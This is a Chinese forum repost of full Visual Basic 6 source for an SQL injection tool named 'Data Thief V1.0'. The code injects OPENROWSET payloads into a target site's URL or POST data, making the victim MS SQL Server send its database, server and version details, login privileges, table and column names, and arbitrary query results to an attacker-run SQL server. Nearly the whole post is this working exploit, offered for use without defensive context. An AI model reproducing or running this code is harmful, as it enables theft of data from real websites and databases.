发新话题
打印

[转载]公布一段SQL注入程序代码

[转载]公布一段SQL注入程序代码

来源: FireFox技术论坛

vb6.0+ xp编译通过
复制内容到剪贴板
代码:

Option Explicit

Dim Url As String
Dim PostData As String
Dim Method As String

Private Sub CboMethod_Click()
   If CboMethod.ListIndex Then
      TxtPostData.Enabled = True
   Else
      TxtPostData.Enabled = False
   End If
End Sub

Private Sub CmdGo_Click()
Dim DATABASES_INJECTION_STR As String
Dim SERVERS_INJECTION_STR As String
Dim VERSION_INJECTION_STR As String
On Error GoTo DisplayError
   
If TxtUrl.Text <> "" Then
   If (CboMethod.Text = "POST" And TxtPostData.Text <> "") Or (CboMethod.Text = "GET") Then
      DATABASES_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##databases&#39;) select name from master.dbo.sysdatabases--"
      SERVERS_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##servers&#39;) select srvname from master.dbo.sysservers--"
      VERSION_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##version&#39;) select @@VERSION union all select &#39;Login name: &#39; %2B suser_sname() %2B char(13) %2B &#39;User name: &#39; %2B user %2B char(13) %2B &#39;Is db_owner: &#39; %2B convert(varchar(1),IS_MEMBER (&#39;db_owner&#39;) ) %2B char(13) %2B &#39;Is sysadmin: &#39; %2B convert(varchar(1),IS_SRVROLEMEMBER(&#39;sysadmin&#39;))  --"
      ClearLists
        
      Connect TxtServer.Text, TxtLogin.Text, TxtPassword.Text, TxtPort.Text
      CreateTables
      SetVars
      SubmitInjection Url, Method, PostData, DATABASES_INJECTION_STR
      SetVars
      SubmitInjection Url, Method, PostData, SERVERS_INJECTION_STR
      SetVars
      SubmitInjection Url, Method, PostData, VERSION_INJECTION_STR
      GetVersion
      GetServers
      GetDatabases
   Else
      MsgBox "Please, Input the post data value"
   End If
Else
   MsgBox "Please, Input the url value"
End If
   
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdListFields_Click()
Dim FIELDS_INJECTION_STR As String
On Error GoTo DisplayError
   
If LstTables.List(LstTables.ListIndex) <> "" Then
   FIELDS_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##fields&#39;) select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.syscolumns where id=object_id(&#39;" + LstDatabases.List(LstDatabases.ListIndex) + ".." + LstTables.List(LstTables.ListIndex) + "&#39;)--"
   SetVars
   TxtQuery.Text = "Select "
   
   SubmitInjection Url, Method, PostData, FIELDS_INJECTION_STR
   GetFields
Else
   MsgBox "Please, Select a table"
End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdListTables_Click()
Dim TABLES_INJECTION_STR As String
On Error GoTo DisplayError

If LstDatabases.List(LstDatabases.ListIndex) <> "" Then
   If ChkSysTables Then
      TABLES_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##tables&#39;) select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype=&#39;U&#39; or xtype=&#39;S&#39;--"
   Else
      TABLES_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##tables&#39;) select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype=&#39;U&#39;--"
   End If
   SetVars
   LstFields.Clear
   TxtQuery.Text = "Select "
   
   SubmitInjection Url, Method, PostData, TABLES_INJECTION_STR
   GetTables
Else
   MsgBox "Please, Select a Database"
End If
   
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdRunQuery_Click()
Dim Fields As String
Dim Query As String
Dim QUERY_INJECTION_STR As String
On Error GoTo DisplayError

   If TxtQuery.Text <> "Select " Then
      SetVars
      Fields = Left(TxtQuery.Text, Len(TxtQuery) - 1)
      Fields = Replace(Fields, "Select ", "")
      Query = "Select top " + TxtMaxRows.Text + " " + Fields + " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex)
      CreateTableResults Fields
      QUERY_INJECTION_STR = " insert into openrowset(&#39;sqloledb&#39;,&#39;Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "&#39;,&#39;select * from ##tableresults&#39;)" + Query + "--"
      
      SubmitInjection Url, Method, PostData, QUERY_INJECTION_STR
      GetResults
   Else
      MsgBox "Please, Select One or More Fields"
   End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub Form_Load()
   CboMethod.ListIndex = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error GoTo DisplayError
   
   Disconnect
   End
   
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub LstFields_ItemCheck(Item As Integer)
On Error GoTo DisplayError

   If InStr(1, TxtQuery.Text, " from", vbTextCompare) Then
      TxtQuery.Text = Replace(TxtQuery.Text, " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex), "")
      TxtQuery.Text = TxtQuery.Text + ","
   End If
   If LstFields.Selected(Item) Then
      TxtQuery.Text = TxtQuery.Text + LstFields.List(Item) + ","
   Else
      TxtQuery.Text = Replace(TxtQuery.Text, LstFields.List(Item) + ",", "")
   End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub ClearLists()
   LstLinkedServer.Clear
   LstDatabases.Clear
   LstTables.Clear
   LstFields.Clear
End Sub

Private Sub SetVars()
   Url = TxtUrl.Text
   PostData = TxtPostData.Text
   Method = CboMethod.Text
End Sub

Private Sub TxtMaxRows_KeyPress(KeyAscii As Integer)
   If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
      KeyAscii = 0
   End If
End Sub

Private Sub TxtPort_KeyPress(KeyAscii As Integer)
   If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
      KeyAscii = 0
   End If
End Sub

Option Explicit
Const USER_AGENT = "Data Thief V1.0 (Beta)"

Dim Con As New ADODB.Connection

&#39;Open the url submiting the data
Public Sub OpenUrl(Url As String, Method As String, PostData As String)
Dim HttpParser As New XMLHTTP

   Url = Replace(Url, " ", "%20")
   If Method = "GET" Then
      HttpParser.open Method, Url, False
      HttpParser.setRequestHeader "User-Agent", USER_AGENT
      HttpParser.send
   Else
      PostData = Replace(PostData, " ", "%20")
      HttpParser.open Method, Url, False
      HttpParser.setRequestHeader "User-Agent", USER_AGENT
      HttpParser.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
      HttpParser.send (PostData)
   End If
   FrmHtml.TxtHtml.Text = HttpParser.responseText
   FrmHtml.WindowState = 1
   FrmHtml.Show
   Set HttpParser = Nothing
   
End Sub

&#39;Get the servers names from temporary table
Public Sub GetServers()
Dim Rec As New ADODB.Recordset

   Rec.ActiveConnection = Con
   Rec.open "Select name from ##Servers"
   FrmMain.LstLinkedServer.Clear
   Do While Not Rec.EOF
      FrmMain.LstLinkedServer.AddItem Rec.Fields(0)
      Rec.MoveNext
   Loop
   
   Rec.Close

End Sub

&#39;Get the databases names from temporary table
Public Sub GetDatabases()
Dim Rec As New ADODB.Recordset

   Rec.ActiveConnection = Con
   Rec.open "Select name from ##Databases"
   FrmMain.LstDatabases.Clear
   Do While Not Rec.EOF
      FrmMain.LstDatabases.AddItem Rec.Fields(0)
      Rec.MoveNext
   Loop
   
   Rec.Close

End Sub

&#39;Get the tables names from temporary table
Public Sub GetTables()
Dim Rec As New ADODB.Recordset

   Rec.ActiveConnection = Con
   Rec.open "Select name from ##Tables", , , adLockOptimistic
   FrmMain.LstTables.Clear
   Do While Not Rec.EOF
      FrmMain.LstTables.AddItem Rec.Fields(0)
      Rec.Delete
      Rec.MoveNext
   Loop
   Rec.Close

End Sub

&#39;Get the fields names from temporary table
Public Sub GetFields()
Dim Rec As New ADODB.Recordset

   Rec.ActiveConnection = Con
   Rec.open "Select name from ##Fields", , , adLockOptimistic
   FrmMain.LstFields.Clear
   Do While Not Rec.EOF
      FrmMain.LstFields.AddItem Rec.Fields(0)
      Rec.Delete
      Rec.MoveNext
   Loop
   Rec.Close

End Sub

&#39;Get the SQL Server version from temporary table
Public Sub GetVersion()
Dim Rec As New ADODB.Recordset
Dim i As Integer

   Rec.ActiveConnection = Con
   Rec.open "Select * from ##version"
   FrmMain.TxtOutput.Text = ""
   If Not Rec.EOF Then
      FrmMain.TxtOutput.Text = Rec.Fields(0).Name
      FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
   End If
   Rec.Close

End Sub

&#39;Get the results of the query from temporary table
Public Sub GetResults()
Dim Rec As New ADODB.Recordset
Dim i As Integer

   Rec.ActiveConnection = Con
   Rec.open "Select * from ##tableresults"
   FrmMain.TxtOutput.Text = ""
   For i = 0 To Rec.Fields.Count - 1
      FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + Rec.Fields(i).Name + vbTab
   Next i
   If Not Rec.EOF Then
      FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
   End If
   Rec.Close

End Sub

Public Sub Connect(Server As String, Uid As String, Pwd As String, Port As String)

   If Con = "" Then
      Con.ConnectionString = "provider=sqloledb;Network=DBMSSOCN;Address=" + Server + "," + Port + ";uid=" + Uid + ";pwd=" + Pwd + ";"
      Con.ConnectionTimeout = 10
      Con.open
   End If
   

End Sub

Public Sub Disconnect()

   If Con <> "" Then Con.Close
   Set Con = Nothing
   
End Sub

&#39;Create temporary tables to hold the data
Public Sub CreateTables()
Dim Rec As New ADODB.Recordset

   Rec.ActiveConnection = Con
   Rec.open "if object_id(&#39;tempdb..##version&#39;) is not null drop table ##version "
   Rec.open "create table ##version (VERSION varchar(500))"
   Rec.open "if object_id(&#39;tempdb..##servers&#39;) is not null drop table ##servers "
   Rec.open "create table ##servers (name varchar(128))"
   Rec.open "if object_id(&#39;tempdb..##databases&#39;) is not null drop table ##databases "
   Rec.open "create table ##databases (name varchar(128))"
   Rec.open "if object_id(&#39;tempdb..##tables&#39;) is not null drop table ##tables "
   Rec.open "create table ##tables (name varchar(128))"
   Rec.open "if object_id(&#39;tempdb..##fields&#39;) is not null drop table ##fields "
   Rec.open "create table ##fields (name varchar(128))"

End Sub

&#39;Create a temporary table to hold query results
Public Sub CreateTableResults(Fields As String)
Dim Rec As New ADODB.Recordset
Dim StrArray() As String
Dim Query As String
Dim i As Byte

   StrArray = Split(Fields, ",")
   Query = "create table ##tableresults ("
   If UBound(StrArray) = 0 Then
      Query = Query + StrArray(0) + " sql_variant)"
   Else
      For i = 0 To UBound(StrArray)
        &#39;comment this if SQL Server 7
        Query = Query + StrArray(i) + " sql_variant,"
        &#39;uncomment this if SQL Server 7
        &#39;Query = Query + StrArray(i) + " varchar(8000),"
      Next i
      Query = Left(Query, Len(Query) - 1) + ")"
   End If
   Rec.ActiveConnection = Con
   Rec.open "if object_id(&#39;tempdb..##tableresults&#39;) is not null drop table ##tableresults "
   Rec.open Query

End Sub

&#39;Submit data
Public Sub SubmitInjection(Url As String, Method As String, PostData As String, InjectionStr As String)
   
   If Method = "POST" Then
      PostData = Replace(PostData, "<***>", InjectionStr)
      OpenUrl Url, Method, PostData
   Else
      Url = Replace(Url, "<***>", InjectionStr)
      OpenUrl Url, Method, PostData
   End If
   
End Sub
益友网吧联盟  http://www.96-7.com

TOP

发新话题